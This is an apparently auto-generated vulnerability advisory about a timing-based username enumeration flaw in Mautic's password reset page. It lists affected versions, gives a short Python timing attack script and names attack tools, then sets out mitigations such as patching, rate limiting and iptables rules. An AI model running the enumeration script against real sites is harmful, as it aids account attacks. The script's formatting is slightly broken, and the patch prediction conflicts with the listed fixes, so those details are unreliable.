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How the CVE Works
The vulnerability in Mautic’s “Forgot Password” feature allows attackers to enumerate valid usernames by analyzing response time discrepancies. When a request is made for an existing user, Mautic performs additional backend checks (e.g., email lookup, token generation), leading to a slightly delayed response. For non-existent users, the response is immediate. By measuring these timing differences, an attacker can infer valid usernames. The lack of rate-limiting exacerbates the issue, enabling brute-force enumeration.
DailyCVE Form
Platform: Mautic
Version: 1.0.0 – 4.4.15, 5.0.0-alpha – 5.2.5, 6.0.0-alpha – 6.0.1
Vulnerability: User Enumeration
Severity: Medium
Date: May 28, 2025
Prediction: Patch expected by June 10, 2025
What Undercode Say:
Exploitation:
1. Timing Attack Script (Python):
import requests
import time
target_url = "https://target-mautic.com/passwordreset"
usernames = ["admin", "user1", "test"]
for user in usernames:
start_time = time.time()
requests.post(target_url, data={"username": user})
elapsed = time.time() - start_time
if elapsed > 0.5: Threshold for valid user
print(f"Valid user: {user}")
2. Automated Tools:
- Use `Burp Suite` with `Turbo Intruder` to measure response times.
– `Patator` for brute-force enumeration with timing analysis.
Protection:
1. Patch Immediately:
- Upgrade to Mautic 4.4.16, 5.2.6, or 6.0.2.
2. Rate Limiting (Nginx Example):
location /passwordreset {
limit_req zone=auth burst=5 nodelay;
limit_req_status 429;
}
3. Code-Level Fix:
- Normalize response times for all requests.
- Disable verbose error messages.
4. WAF Rules:
- Block repeated requests to
/passwordreset. - Monitor for abnormal timing patterns.
5. Logging & Alerts:
Log failed attempts
grep "POST /passwordreset" /var/log/mautic/access.log | awk '{print $1}' | sort | uniq -c
6. Disable Feature (Temporary):
- Remove the password reset form if unused.
7. CAPTCHA Integration:
- Add reCAPTCHA to prevent automated attacks.
8. Network-Level Mitigation:
iptables -A INPUT -p tcp --dport 80 -m recent --name PWFLOOD --update --seconds 60 --hitcount 10 -j DROP
9. Monitoring:
- Use `Elasticsearch + Kibana` to detect timing anomalies.
10. Developer Note:
- Always use constant-time comparison for sensitive operations.
No further commentary provided.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
